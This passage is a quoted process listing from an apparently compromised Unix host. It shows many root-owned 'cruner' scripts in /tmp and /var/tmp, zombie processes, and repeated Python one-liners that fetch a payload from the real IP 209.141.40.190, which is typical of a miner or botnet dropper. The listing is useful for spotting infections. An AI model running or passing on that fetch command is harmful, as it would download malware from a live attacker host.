? 0:00 sleep 60 > root 17321 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11278 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23797 17834 0 - ? 0:00 <defunct> > root 2335 14970 0 15:44:55 ? 0:00 bash -sh > root 16790 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25554 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5973 21533 0 - ? 0:00 <defunct> > root 29008 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27617 10333 0 15:44:10 ? 0:00 bash -sh > root 4356 7031 0 15:44:12 ? 0:00 bash -sh > root 12251 17764 0 15:45:55 ? 0:00 sleep 60 > root 15768 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17710 11955 0 - ? 0:00 <defunct> > root 19249 23030 0 - ? 0:00 <defunct> > root 1894 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6421 239 0 - ? 0:00 <defunct> > root 27954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28896 28888 0 15:42:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26180 20982 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 19924 19910 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11972 9680 0 15:45:41 ? 0:00 bash -sh > root 20548 22859 0 15:45:26 ? 0:00 sleep 60 > root 16745 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7969 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13293 18385 0 - ? 0:00 <defunct> > root 22823 22557 0 15:45:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25203 15311 0 - ? 0:00 <defunct> > root 16791 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17496 23815 0 15:45:46 ? 0:00 xargs kill -9 > root 12177 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1193 4276 0 15:45:27 ? 0:00 sleep 60 > root 3644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27257 15653 0 15:46:05 ? 0:00 sh /tmp/cruner > root 26802 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23717 13369 0 15:43:14 ? 0:00 bash -sh > root 10305 13310 0 15:45:59 ? 0:00 sleep 60 > root 5011 24651 0 15:44:03 ? 0:00 bash -sh > root 29910 19398 0 15:45:34 ? 0:00 sleep 60 > root 25724 23576 0 - ? 0:00 <defunct> > root 2544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22894 22884 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1755 1701 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24506 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10770 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20450 28782 0 - ? 0:00 <defunct> > root 8997 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16994 2589 0 - ? 0:00 <defunct> > root 9136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17572 9702 0 15:45:16 ? 0:00 bash -sh > root 8893 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7727 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9987 21700 0 15:45:21 ? 0:00 bash -sh > root 27866 29177 0 15:45:43 ? 0:00 sh /tmp/cruner > root 3366 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24311 7408 0 15:45:43 ? 0:00 sleep 60 > root 25500 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11981 12470 0 15:45:11 ? 0:00 bash -sh > root 15586 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16203 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6198 28848 0 15:45:09 ? 0:00 bash -sh > root 4276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15380 29886 0 15:43:11 ? 0:00 bash -sh > root 674 12307 0 15:45:48 ? 0:00 sleep 60 > root 24533 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27403 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5257 24755 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9685 14548 0 - ? 0:00 <defunct> > root 14008 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6554 1358 0 15:45:54 ? 0:00 sleep 60 > root 4072 16474 0 15:43:18 ? 0:00 bash -sh > root 5639 7104 0 15:45:49 ? 0:00 sleep 60 > root 19309 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17722 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4388 21965 0 15:45:49 ? 0:00 xargs kill -9 > root 22560 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28385 11136 0 - ? 0:00 <defunct> > root 8007 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16461 4215 0 15:45:06 ? 0:00 sleep 60 > root 22803 26115 0 15:45:23 ? 0:00 sleep 60 > root 18837 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26121 2981 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 23626 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3785 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12375 13663 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8527 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14885 14880 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12326 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25825 11738 0 15:45:47 ? 0:00 xargs kill -9 > root 17258 16318 0 15:44:52 ? 0:00 bash -sh > root 20680 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25423 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13242 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23493 5977 0 15:45:13 ? 0:00 bash -sh > root 5749 5722 0 15:43:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4400 10302 0 15:44:42 ? 0:00 bash -sh > root 29161 21600 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 24855 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18326 2095 0 15:38:00 ? 0:00 bash -sh > root 734 19611 0 - ? 0:00 <defunct> > root 314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1384 17266 0 15:45:58 ? 0:00 sleep 60 > root 28240 9118 0 15:45:34 ? 0:00 sleep 60 > root 29807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20213 11444 0 - ? 0:00 <defunct> > root 5137 27022 0 15:45:35 ? 0:00 sleep 60 > root 181 29267 0 - ? 0:00 <defunct> > root 17013 307 0 - ? 0:00 <defunct> > root 4367 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5305 23555 0 15:45:58 ? 0:00 sleep 60 > root 17068 27377 0 15:45:32 ? 0:00 sleep 60 > root 20864 29799 0 15:44:53 ? 0:00 bash -sh > root 24536 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18215 22308 0 15:45:56 ? 0:00 xargs kill -9 > root 24015 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22835 27879 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 28752 25480 0 15:45:34 ? 0:00 sleep 60 > root 21870 21861 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22418 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4484 28643 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29164 25302 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29482 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29716 26262 0 15:45:48 ? 0:00 sh /tmp/cruner > root 6471 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9235 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14456 14625 0 - ? 0:00 <defunct> > root 1219 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19370 16473 0 15:45:29 ? 0:00 sleep 60 > root 2362 17449 0 15:45:53 ? 0:00 bash -sh > root 22216 21937 0 - ? 0:00 <defunct> > root 4083 13668 0 15:42:56 ? 0:00 bash -sh > root 11346 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19441 5750 0 15:45:29 ? 0:00 sleep 60 > root 27135 18212 0 15:45:34 ? 0:00 sleep 60 > root 15390 16383 0 15:43:11 ? 0:00 bash -sh > root 19047 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16890 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21758 19837 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6578 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7424 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14549 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15719 28980 0 15:45:41 ? 0:00 bash -sh > root 5770 4072 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4044 18070 0 - ? 0:00 <defunct> > root 21211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9879 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26192 8173 0 - ? 0:00 <defunct> > root 20642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14591 19862 0 15:45:45 ? 0:00 bash -sh > root 27678 13914 0 15:43:41 ? 0:00 bash -sh > root 9495 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26446 25996 0 - ? 0:00 <defunct> > root 4840 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29354 18543 0 15:45:18 ? 0:00 sleep 60 > root 4225 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9168 6580 0 - ? 0:00 <defunct> > root 15159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25002 16337 0 15:46:05 ? 0:00 sleep 60 > root 22435 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 603 25087 0 15:45:48 ? 0:00 xargs kill -9 > root 16119 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20263 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8544 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28910 28648 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3464 29055 0 15:46:03 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20406 7034 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 8682 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19456 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23653 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25896 12020 0 15:45:47 ? 0:00 sh /tmp/cruner > root 17109 8584 0 15:45:06 ? 0:00 sleep 60 > root 18390 590 0 - ? 0:00 <defunct> > root 3567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3081 18619 0 15:46:02 ? 0:00 sleep 60 > root 28223 9280 0 15:45:08 ? 0:00 bash -sh > root 29190 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25700 26275 0 - ? 0:00 <defunct> > root 8423 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25526 10802 0 15:45:13 ? 0:00 bash -sh > root 20820 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3748 3727 0 - ? 0:00 <defunct> > root 28769 29540 0 15:45:47 ? 0:00 xargs kill -9 > root 5823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17595 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27788 7336 0 15:44:10 ? 0:00 bash -sh > root 25140 540 0 - ? 0:00 <defunct> > root 11576 11550 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20557 17843 0 15:45:06 ? 0:00 bash -sh > root 4737 2154 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13412 13406 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6999 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24589 8408 0 - ? 0:00 <defunct> > root 24829 24607 0 - ? 0:00 <defunct> > root 26315 19170 0 15:45:18 ? 0:00 sleep 60 > root 8114 1639 0 15:45:09 ? 0:00 bash -sh > root 29829 26816 0 15:45:44 ? 0:00 bash -sh > root 7688 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19985 15800 0 - ? 0:00 <defunct> > root 23805 16741 0 15:45:02 ? 0:00 bash -sh > root 6551 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19293 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10320 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10104 11766 0 15:46:03 ? 0:00 xargs kill -9 > root 27138 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21405 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3582 19891 0 15:46:03 ? 0:00 sleep 60 > root 27869 3267 0 15:45:34 ? 0:00 sleep 60 > root 9552 17794 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3554 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24770 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29225 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2474 8554 0 - ? 0:00 <defunct> > root 20527 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13908 21558 0 15:45:11 ? 0:00 sleep 60 > root 17888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22788 3165 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8809 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13561 21856 0 - ? 0:00 <defunct> > root 20455 16804 0 15:44:53 ? 0:00 bash -sh > root 7681 26655 0 - ? 0:00 <defunct> > root 18349 26355 0 15:46:00 ? 0:00 sh /tmp/cruner > root 15993 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8587 5717 0 - ? 0:00 <defunct> > root 1388 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11856 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3903 16978 0 15:44:50 ? 0:00 bash -sh > root 21697 1300 0 15:44:44 ? 0:00 bash -sh > root 3839 23494 0 - ? 0:00 <defunct> > root 23312 13015 0 15:45:43 ? 0:00 bash -sh > root 6549 18373 0 - ? 0:00 <defunct> > root 12573 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25481 18418 0 - ? 0:00 <defunct> > root 22028 15243 0 15:45:57 ? 0:00 bash -sh > root 7854 14540 0 15:46:07 ? 0:00 sleep 60 > root 23484 24084 0 15:45:13 ? 0:00 bash -sh > root 12656 17188 0 - ? 0:00 <defunct> > root 22402 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1910 7648 0 - ? 0:00 <defunct> > root 16356 16213 0 - ? 0:00 <defunct> > root 21417 10424 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 13137 20689 0 15:46:04 ? 0:00 sleep 60 > root 9207 16616 0 - ? 0:00 <defunct> > root 28977 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4456 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 833 26387 0 15:45:48 ? 0:00 sleep 60 > root 5816 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1773 369 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24001 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5522 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22517 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14091 8110 0 15:44:05 ? 0:00 bash -sh > root 11102 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4482 11418 0 15:45:19 ? 0:00 sleep 60 > root 29385 22830 0 15:45:47 ? 0:00 bash -sh > root 14572 22688 0 15:45:55 ? 0:00 sleep 60 > root 21155 6620 0 15:44:40 ? 0:00 bash -sh > root 18358 18266 0 - ? 0:00 <defunct> > root 7091 28783 0 15:45:54 ? 0:00 sleep 60 > root 27647 5154 0 15:44:49 ? 0:00 bash -sh > root 16922 4087 0 - ? 0:00 <defunct> > root 10687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4898 15990 0 15:45:24 ? 0:00 sleep 60 > root 375 19350 0 15:43:24 ? 0:00 bash -sh > root 8124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24478 9516 0 - ? 0:00 <defunct> > root 25022 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10100 11873 0 - ? 0:00 <defunct> > root 27487 22486 0 15:45:43 ? 0:00 sleep 60 > root 21606 25770 0 - ? 0:00 <defunct> > root 22343 6527 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13799 1 0 02:31:48 ? 0:00 sh /var/tmp/cruner > root 1510 4567 0 15:45:48 ? 0:00 sleep 60 > root 25247 1 0 22:45:38 ? 0:00 sh /var/tmp/cruner > root 17179 4678 0 15:45:42 ? 0:00 sleep 60 > root 24969 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8758 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 503 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8693 9643 0 15:45:36 ? 0:00 sleep 60 > root 15896 15948 0 15:45:56 ? 0:00 bash -sh > root 20875 13120 0 - ? 0:00 <defunct> > root 6849 8430 0 15:45:35 ? 0:00 sleep 60 > root 2717 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24808 24788 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13831 16423 0 - ? 0:00 <defunct> > root 11975 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9851 27026 0 15:43:26 ? 0:00 bash -sh > root 8131 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15243 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29118 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12289 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11800 7956 0 - ? 0:00 <defunct> > root 753 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23433 26234 0 15:45:17 ? 0:00 bash -sh > root 12821 27506 0 15:45:21 ? 0:00 sleep 60 > root 11585 10813 0 - ? 0:00 <defunct> > root 17176 12782 0 15:43:27 ? 0:00 bash -sh > root 24784 15329 0 15:44:54 ? 0:00 bash -sh > root 28655 11344 0 - ? 0:00 <defunct> > root 17027 2548 0 15:46:00 ? 0:00 bash -sh > root 18738 23288 0 - ? 0:00 <defunct> > root 23796 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17919 13475 0 15:43:39 ? 0:00 bash -sh > root 12398 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16354 17576 0 15:45:16 ? 0:00 sleep 60 > root 22516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12392 24416 0 - ? 0:00 <defunct> > root 12535 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2406 2505 0 15:45:53 ? 0:00 bash -sh > root 22029 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24040 23470 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29193 25676 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16508 17691 0 - ? 0:00 <defunct> > root 14366 12653 0 15:42:48 ? 0:00 bash -sh > root 19497 6489 0 15:45:29 ? 0:00 sleep 60 > root 15005 11938 0 15:46:00 ? 0:00 bash -sh > root 26834 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17881 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22106 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17219 11461 0 15:44:06 ? 0:00 bash -sh > root 9406 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16653 22086 0 - ? 0:00 <defunct> > root 17121 2450 0 15:45:46 ? 0:00 sleep 60 > root 20671 20663 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18650 18193 0 15:45:42 ? 0:00 sleep 60 > root 1115 19259 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29140 8286 0 - ? 0:00 <defunct> > root 12877 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6537 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28451 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29959 1081 0 - ? 0:00 <defunct> > root 25883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14294 28023 0 15:45:51 ? 0:00 bash -sh > root 25072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10660 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5533 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19215 4677 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24147 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20760 10507 0 15:45:52 ? 0:00 bash -sh > root 277 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27454 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19937 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8021 25827 0 15:45:49 ? 0:00 bash -sh > root 16300 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18238 13397 0 15:46:00 ? 0:00 sh /tmp/cruner > root 12711 12525 0 15:45:59 ? 0:00 xargs kill -9 > root 18916 17815 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14588 13741 0 15:43:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1746 3172 0 15:45:19 ? 0:00 sleep 60 > root 2398 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21703 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2511 17564 0 15:44:12 ? 0:00 bash -sh > root 24540 15764 0 - ? 0:00 <defunct> > root 1488 1461 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1372 29303 0 - ? 0:00 <defunct> > root 3613 27416 0 - ? 0:00 <defunct> > root 28387 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9478 3258 0 15:45:15 ? 0:00 bash -sh > root 8817 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26821 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17035 2517 0 15:45:51 ? 0:00 bash -sh > root 15949 25286 0 15:45:11 ? 0:00 bash -sh > root 25386 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7892 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19056 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5783 22388 0 15:46:06 ? 0:00 sleep 60 > root 28661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18624 20455 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20833 29732 0 15:43:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14310 11194 0 15:44:30 ? 0:00 bash -sh > root 16564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7700 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10986 14290 0 15:45:50 ? 0:00 bash -sh > root 6089 6085 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5765 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12756 25879 0 15:46:08 ? 0:00 sh /tmp/cruner > root 3356 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16879 10307 0 15:42:48 ? 0:00 bash -sh > root 1109 1079 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25970 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17681 19157 0 15:45:42 ? 0:00 sleep 60 > root 17972 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7255 7250 0 15:45:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15519 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21422 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16616 14031 0 15:44:52 ? 0:00 bash -sh > root 25778 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22494 3047 0 15:46:01 ? 0:00 sleep 60 > root 24356 21813 0 - ? 0:00 <defunct> > root 19517 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10880 29994 0 15:44:51 ? 0:00 bash -sh > root 26034 11908 0 15:46:05 ? 0:00 sleep 60 > root 20480 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24454 8863 0 15:45:52 ? 0:00 sleep 60 > root 26166 2133 0 15:45:39 ? 0:00 sleep 60 > root 13423 5223 0 15:44:00 ? 0:00 bash -sh > root 11699 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20939 11355 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 25681 1 0 01:41:04 ? 0:00 sh /var/tmp/cruner > root 13983 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29873 12612 0 - ? 0:00 <defunct> > root 1200 11708 0 15:45:34 ? 0:00 sleep 60 > root 27109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24825 4231 0 15:44:58 ? 0:00 bash -sh > root 4538 1159 0 - ? 0:00 <defunct> > root 28452 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6985 6966 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16562 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12074 28451 0 15:45:16 ? 0:00 bash -sh > root 25485 25473 0 15:44:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24584 18710 0 15:45:13 ? 0:00 bash -sh > root 5850 7818 0 15:45:44 ? 0:00 bash -sh > root 8168 4069 0 - ? 0:00 <defunct> > root 16457 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8201 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11543 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3683 25792 0 15:46:03 ? 0:00 sleep 60 > root 20891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12922 24021 0 - ? 0:00 <defunct> > root 17114 22978 0 - ? 0:00 <defunct> > root 23559 23773 0 15:45:26 ? 0:00 sleep 60 > root 25190 25129 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20809 13083 0 - ? 0:00 <defunct> > root 10397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11853 3409 0 15:43:20 ? 0:00 bash -sh > root 29331 20801 0 15:44:21 ? 0:00 bash -sh > root 1652 23069 0 15:45:58 ? 0:00 sleep 60 > root 15509 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26298 20238 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12989 15059 0 - ? 0:00 <defunct> > root 21126 21120 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print 